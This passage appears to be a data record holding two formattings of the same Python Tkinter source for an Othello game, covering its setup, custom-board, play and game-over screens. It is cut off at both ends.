bg=\"white\")\n\t\tcondition_frame.pack(pady=10)\n\n\t\tself.condition_label = tk.Label(condition_frame, text=\"The winner is, the player with..\",\n\t\t\tbg=\"white\", font=FONTS[\"medium\"])\n\t\tself.condition_label.grid(row=0, column=0, columnspan=2)\n\n\t\tself.greater_score = tk.Button(condition_frame, text=\"more discs.\", bg=\"#bbbbbb\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda: self.Select_Condition(\">\"))\n\t\tself.greater_score.grid(row=1, column=0)\n\n\t\tself.lesser_score = tk.Button(condition_frame, text=\"less discs.\", bg=\"#bbbbbb\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda: self.Select_Condition(\"<\"))\n\t\tself.lesser_score.grid(row=1, column=1)\n\n\n\t\t# Start the game button\n\t\tself.Start_Game_Btn = tk.Button(self, text=\"Start\", bg=\"#ff2222\", activebackground=\"#992222\",\n\t\t\t\t\t\t\t\t\tfont=FONTS[\"medium\"])\n\t\tself.Start_Game_Btn.pack(side=\"bottom\")\n\n\tdef Select_Rule_Set(self, _set: str): # sets the rule set of the game\n\t\tif _set == \"simple\":\n\t\t\tself.controller.Handler.GameParams[\"game_type\"] = 1 # Corresponds to the game logic\n\t\telse:\n\t\t\tself.controller.Handler.GameParams[\"game_type\"] = 2\n\n\t\tself.full_btn.destroy()\n\t\tself.simple_btn.destroy()\n\t\tself.rs_label.configure(text=\"Rule Set: \" + _set.upper())\n\n\t\tself.set_vals.append(\"rules\")\n\t\tself.Check_Can_Start()\n\n\tdef Select_Rows(self, rows: int): # Sets the rows of the board\n\t\tself.controller.Handler.GameParams[\"y_size\"] = rows\n\n\t\tfor button in self.Rows_Buttons:\n\t\t\tbutton.destroy()\n\n\t\tself.row_label.configure(text=\"Board Rows: \" + str(rows))\n\n\t\tself.set_vals.append(\"rows\")\n\t\tself.Check_Can_Start()\n\n\tdef Select_Cols(self, cols: int): # sets the columns of the board\n\t\tself.controller.Handler.GameParams[\"x_size\"] = cols\n\n\t\tfor button in self.Cols_Buttons:\n\t\t\tbutton.destroy()\n\n\t\tself.col_label.configure(text=\"Board Columns: \" + str(cols))\n\t\t\n\t\tself.set_vals.append(\"cols\")\n\t\tself.Check_Can_Start()\n\n\tdef Select_First_Move (self, mover: str): # Sets the first player to make a move\n\t\tif mover == \"black\":\n\t\t\tself.controller.Handler.GameParams[\"first_move\"] = \"B\"\n\t\telse:\n\t\t\tself.controller.Handler.GameParams[\"first_move\"] = \"W\"\n\n\t\tself.black_btn.destroy()\n\t\tself.white_btn.destroy()\n\n\t\tself.first_move_label.configure(text=\"First to move: \" + mover)\n\n\t\tself.set_vals.append(\"move\")\n\t\tself.Check_Can_Start()\n\n\tdef Select_Condition(self, condition: str):# This will set the game win condition\n\t\tself.controller.Handler.GameParams[\"game_winner\"] = condition\n\n\t\tif condition == \">\":\n\t\t\tself.condition_label.configure(text=\"The winner is, the player with more discs.\")\n\t\telse:\n\t\t\tself.condition_label.configure(text=\"The winner is, the player with less discs.\")\n\n\t\tself.lesser_score.destroy()\n\t\tself.greater_score.destroy()\n\n\t\tself.set_vals.append(\"win\")\n\t\tself.Check_Can_Start()\n\n\tdef Check_Can_Start (self): # This will start the game if the game can be started\n\t\tif \"rules\" in self.set_vals and\\\n\t\t \"rows\" in self.set_vals and\\\n\t\t \"cols\" in self.set_vals and\\\n\t\t \"move\" in self.set_vals and\\\n\t\t \"win\" in self.set_vals:\n\t\t self.Start_Game_Btn.configure(bg=\"#22ff22\", activebackground=\"#229922\",\n\t\t \tcommand=lambda: self.Start_Custom_Board())\n\n\tdef Start_Custom_Board (self):\n\t\tself.controller.Pages[\"Setup_Board\"].Setup_Board()\n\t\tself.controller.showPage(\"Setup_Board\")\n\t\tself.controller.Pages[\"Setup_Board\"].Instructions_Display()\n\nclass Custom_Board (tk.Frame):\n\tFrameName = \"Setup_Board\"\n\tdef __init__ (self, parent, controller):\n\t\ttk.Frame.__init__ (self, parent)\n\n\t\tself.controller = controller\n\t\tself.configure(bg=\"white\")\n\n\t\t# Title bar\n\t\tself.Title_Frame = tk.Frame(self, bg=\"white\")\n\t\tself.Title_Frame.pack(side=\"top\", fill=\"x\")\n\n\t\t# Title\n\t\ttk.Label(self.Title_Frame, text=\"Create Custom Board\", bg=\"white\", font=FONTS[\"medium\"]).pack(side=\"left\")\n\n\t\t# Start Button\n\t\tstart = tk.Button(self.Title_Frame, text=\"Play\", bg=\"#22ff22\", activebackground=\"#229922\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda: self.Start())\n\t\tstart.pack(side=\"right\")\t\t\n\n\n\t\t# Use custom Board check button\n\t\tself.Use_Board = tk.IntVar()\n\n\t\tUse_Board = tk.Checkbutton(self.Title_Frame, text=\"Use custom board\", font=FONTS[\"medium\"],\n\t\t\tbg=\"white\", activebackground=\"white\",\n\t\t\tvar=self.Use_Board, onvalue=1, offvalue=0)\n\t\tUse_Board.pack(side=\"right\", padx=10)\n\n\t\t\n\t\t# Board\n\t\tself.Board_Area = tk.Frame(self, bg=\"#009900\")\n\t\tself.Board_Area.pack(side=\"top\", fill=\"both\", expand=True)\n\n\t\tself.Board = []\n\n\tdef Setup_Board (self):\n\t\tfor widget in self.Board_Area.winfo_children():\n\t\t\twidget.destroy()\n\t\tself.Board = []\n\n\t\t\n\t\tfor y in range(self.controller.Handler.GameParams[\"y_size\"]):\n\t\t\trow = []\n\t\t\tfor x in range(self.controller.Handler.GameParams[\"x_size\"]):\n\t\t\t\t# Diameter with respond to the length of the shortest side of the board\n\t\t\t\theight = self.Board_Area.winfo_height()\n\t\t\t\twidth = self.Board_Area.winfo_width()\n\n\t\t\t\tif height > width:\n\t\t\t\t\tdiameter = width/self.controller.Handler.GameParams[\"x_size\"]\n\t\t\t\telse:\n\t\t\t\t\tdiameter = height/self.controller.Handler.GameParams[\"y_size\"]\n\n\t\t\t\tself.Board_Area.grid_columnconfigure(x, weight=1)\n\t\t\t\tself.Board_Area.grid_rowconfigure(y, weight=1)\n\n\t\t\t\tdisc = wg.Disc(self.Board_Area, self.controller, diameter=diameter, mode=\"setup\")\n\t\t\t\tdisc.grid(row=y, column=x, sticky=\"nsew\")\n\t\t\t\trow.append(disc)\n\n\t\t\tself.Board.append(row)\n\n\tdef Parse_Board (self) -> list: # This will parse the GUI board and create a board that will work for the Game()\n\t\tnew_board = []\n\t\tfor row in self.Board:\n\t\t\tnew_row = []\n\t\t\tfor disc in row:\n\t\t\t\tif disc.Current_Color == \"white\":\n\t\t\t\t\tnew_row.append(\"W\")\n\t\t\t\telif disc.Current_Color == \"black\":\n\t\t\t\t\tnew_row.append(\"B\")\n\t\t\t\telse:\n\t\t\t\t\tnew_row.append(None)\n\t\t\tnew_board.append(new_row)\n\n\t\treturn new_board\n\n\tdef Instructions_Display(self):\n\t\tshowinfo(\"How to use\", \"Click on a tile to cycle between white, black or empty. Check the \\\"Use Custom Board\\\" box to use this board!\")\n\n\tdef Start (self): # This will check if the user wants to use a custom board and then will set Game board to be the users selection\n\t\tif self.Use_Board.get():\n\t\t\tself.controller.Handler.GameParams[\"board\"] = self.Parse_Board()\n\t\tself.controller.Begin_Game()\n\t\tself.controller.Pages[\"Game\"].__GUI_init__()\n\t\tself.controller.Pages[\"Game\"].Update_Board()\n\t\tself.controller.showPage(\"Game\")\n\nclass Game (tk.Frame): # This is the 'stage' where the game will be played.\n\tFrameName = \"Game\"\n\tdef __init__ (self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\n\n\t\tself.controller = controller\n\t\tself.configure(bg=\"white\")\n\n\t\t# Status Bar\n\t\tself.Status_Bar = tk.Frame(self, bg=\"white\")\n\t\tself.Status_Bar.pack(side=\"top\", fill=\"x\")\n\n\t\tself.Status_Bar.grid_columnconfigure(0, weight=1)\n\t\tself.Status_Bar.grid_columnconfigure(1, weight=1)\n\t\tself.Status_Bar.grid_columnconfigure(2, weight=1)\n\t\tself.Status_Bar.grid_rowconfigure(0, weight=1)\n\n\t\tself.Current_Player = tk.Label(self.Status_Bar, text=\"None\", bg=\"white\", font=FONTS[\"medium\"])\n\t\tself.Current_Player.grid(row=0, column=0)\n\n\t\tself.Game_Type = tk.Label(self.Status_Bar, text=\"FULL\", bg=\"white\", font=FONTS[\"medium\"])\n\t\tself.Game_Type.grid(row=0, column=1)\n\n\t\tself.Score = tk.Label(self.Status_Bar, text=\"Black: 2 | 2:White\", bg=\"white\", font=FONTS[\"medium\"])\n\t\tself.Score.grid(row=0, column=2)\n\n\t\t# Board\n\t\tself.Board_Area = tk.Frame(self, bg=\"#009900\")\n\t\tself.Board_Area.pack(side=\"top\", fill=\"both\", expand=True)\n\n\t\tself.Board = []\n\n\tdef __GUI_init__ (self): # This will initiate the game board once all the datya is provided.\n\t\tfor y in range(self.controller.Handler.GameParams[\"y_size\"]):\n\t\t\trow = []\n\t\t\tfor x in range(self.controller.Handler.GameParams[\"x_size\"]):\n\t\t\t\t# Diameter with respond to the length of the shortest side of the board\n\t\t\t\theight = self.Board_Area.winfo_height()\n\t\t\t\twidth = self.Board_Area.winfo_width()\n\n\t\t\t\tif height > width:\n\t\t\t\t\tdiameter = width/self.controller.Handler.GameParams[\"x_size\"]\n\t\t\t\telse:\n\t\t\t\t\tdiameter = height/self.controller.Handler.GameParams[\"y_size\"]\n\n\t\t\t\tself.Board_Area.grid_columnconfigure(x, weight=1)\n\t\t\t\tself.Board_Area.grid_rowconfigure(y, weight=1)\n\n\t\t\t\tdisc = wg.Disc(self.Board_Area, self.controller, diameter=diameter,\n\t\t\t\t\tcommand= lambda x=x, y=y: self.Disc_Function(x, y))\n\t\t\t\tdisc.grid(row=y, column=x, sticky=\"nsew\")\n\t\t\t\trow.append(disc)\n\n\t\t\tself.Board.append(row)\n\n\t\tself.Update_Board()\n\n\tdef Reset_Game(self): #This will reset the game board to its initial state\n\t\tself.Board = []\n\t\tfor widget in self.Board_Area.winfo_children():\n\t\t\twidget.destroy()\n\n\tdef Disc_Function (self, x: int, y: int): # This is the function run when the player clicks a disc slot/disc\n\t\tif not self.controller.Handler.Move(x+1, y+1): # Try run the Move function on the Handler\n\t\t\tself.Invalid_Move()\n\n\tdef Invalid_Move(self): # This command will run when a player tries to make a move thats not possible\n\t\tshowerror(\"Invalid Move\", \"You cannot move there!\")\n\n\tdef Update_Board (self): # Update the board to mathe the Game() board\n\t\tfor y in range(len(self.Board)):\n\t\t\tfor x in range(len(self.Board[y])):\n\t\t\t\tgame_piece = self.controller.Handler.Game.Board[y][x]\n\t\t\t\tif game_piece == None:\n\t\t\t\t\tpass\n\t\t\t\telif game_piece == \"B\":\n\t\t\t\t\tif self.Board[y][x].Current_Color != \"black\":\n\t\t\t\t\t\tself.Board[y][x].Set_Piece_Color(\"black\")\n\t\t\t\telif game_piece == \"W\":\n\t\t\t\t\tif self.Board[y][x].Current_Color != \"white\":\n\t\t\t\t\t\tself.Board[y][x].Set_Piece_Color(\"white\")\n\n\tdef Update_Current_Player (self): # Update the current player identifier\n\t\tself.Current_Player.config(text=\"Turn: \" + self.controller.Get_Current_Player())\n\n\tdef Update_Game_Type(self): # Update the game type identifier\n\t\tg_type = self.controller.Handler.Get_Game_Type()\n\t\tself.Game_Type.configure(text=\"Rules: \" + g_type)\n\n\tdef Update_Score (self): # Update the score identifier\n\t\tb, w = self.controller.Handler.Get_Score()\n\t\tself.Score.configure(text=\"Black: {0!s} | {1!s} :White\".format(b, w))\n\n\tdef Full_Update(self): # Run a full update on the graphics\n\t\tself.Update_Score()\n\t\tself.Update_Current_Player()\n\t\tself.Update_Board()\n\nclass Postgame (tk.Frame): # The 'end game' screen\n\tFrameName = \"Postgame\"\n\tdef __init__ (self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\n\n\t\tself.controller = controller\n\t\tself.configure(bg=\"white\")\n\n\t\t# Set a page title\n\t\tself.Title = tk.Label(self, text=\"Game Over!\", bg=\"white\", font=FONTS[\"large\"])\n\t\tself.Title.pack(side=\"top\")\n\n\t\tSeparator(self, orient=\"horizontal\").pack(side=\"top\", fill=\"x\", padx=10)\n\n\t\t# Set the winner text object\n\t\tself.Winner = tk.Label(self, text=\"The winner is black-discs.\", bg=\"white\", font=FONTS[\"medium\"])\n\t\tself.Winner.pack(side=\"top\")\n\n\t\t# Create the replay and exit buttons\n\t\tself.Buttons = tk.Frame(self, bg=\"white\")\n\t\tself.Buttons.pack()\n\n\t\tReplay = tk.Button(self.Buttons, text=\"Replay\", bg=\"#bbbbbb\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda: self.Replay())\n\t\tReplay.grid(row=0, column=0)\n\n\t\tQuit = tk.Button(self.Buttons, text=\"Quit\", bg=\"#bbbbbb\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda: self.Quit())\n\t\tQuit.grid(row=0, column=1)\n\n\t\t# the area for the board output\n\t\tself.Board_Area = tk.Frame(self, bg=\"white\")\n\t\tself.Board_Area.pack(side=\"bottom\")\n\n\t\t# Score text\n\t\tself.Score = tk.Label(self.Board_Area, text=\"\", bg=\"white\", font=FONTS[\"medium\"])\n\t\tself.Score.pack()\n\n\t\t# The display for the board\n\t\tself.Board_Display = tk.Frame(self.Board_Area, bg=\"green\")\n\t\tself.Board_Display.pack()\n\n\t\tself.Board = []\n\n\tdef Replay(self): # Initiate the Replay\n\t\tself.controller.Replay()\n\n\tdef Quit(self): # Kill the game\n\t\tself.controller.destroy()\n\t\texit()\n\n\tdef Update_Board (self): # Update the game board display, kill old, create new\n\t\tfor widget in self.Board_Display.winfo_children():\n\t\t\twidget.destroy()\n\n\t\tfor y in range(self.controller.Handler.GameParams[\"y_size\"]):\n\t\t\trow = []\n\t\t\tfor x in range(self.controller.Handler.GameParams[\"x_size\"]):\n\t\t\t\tself.Board_Area.grid_columnconfigure(x, weight=1)\n\t\t\t\tself.Board_Area.grid_rowconfigure(y, weight=1)\n\n\t\t\t\tcol = None\n\t\t\t\tplace_col = self.controller.Handler.Game.Board[y][x]\n\t\t\t\tif place_col == \"B\":\n\t\t\t\t\tcol = \"black\"\n\t\t\t\telif place_col == \"W\":\n\t\t\t\t\tcol = \"white\"\n\n\t\t\t\tdisc = wg.Disc(self.Board_Display, self.controller, col=col, diameter=50)\n\t\t\t\tdisc.grid(row=y, column=x, sticky=\"nsew\")\n\t\t\t\trow.append(disc)\n\n\t\t\tself.Board.append(row)\n\n\tdef Update(self): # Update the whole page\n\t\twinner, scores = self.controller.Handler.Get_Winner() \n\t\tif winner.lower() == \"b\":\n\t\t\twinner = \"black-discs\"\n\t\telif winner.lower() == \"w\":\n\t\t\twinner = \"white-discs\"\n\t\telse:\n\t\t\twinner == \"no one\"\n\t\tself.Winner.configure(text=\"The winner is \" + winner)\n\t\tself.Score.configure(text=\"Black: {0!s} | {1!s}:White\".format(scores[0], scores[1]))\n\t\tself.Update_Board()\n\nif __name__ == \"__main__\":\n\tWindow = Handler()\n", "import tkinter as tk\nimport Widgets as wg\nimport Logic as lgc\nfrom tkinter.ttk import Separator\nfrom tkinter.messagebox import showerror, showinfo\nFONTS = {'large': ('Helvetica', 20), 'medium': ('Helvetica', 16), 'small':\n ('Helvetica', 12)}\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n\n def Replay(self):\n self.GameParams = {}\n del self.Game\n self.Game = None\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n\n def Get_Score(self) ->tuple:\n s = self.Game.Get_Discs()\n return s[0], s[1]\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n\n def Update_Game(self):\n self.Window.Pages['Game'].Full_Update()\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, 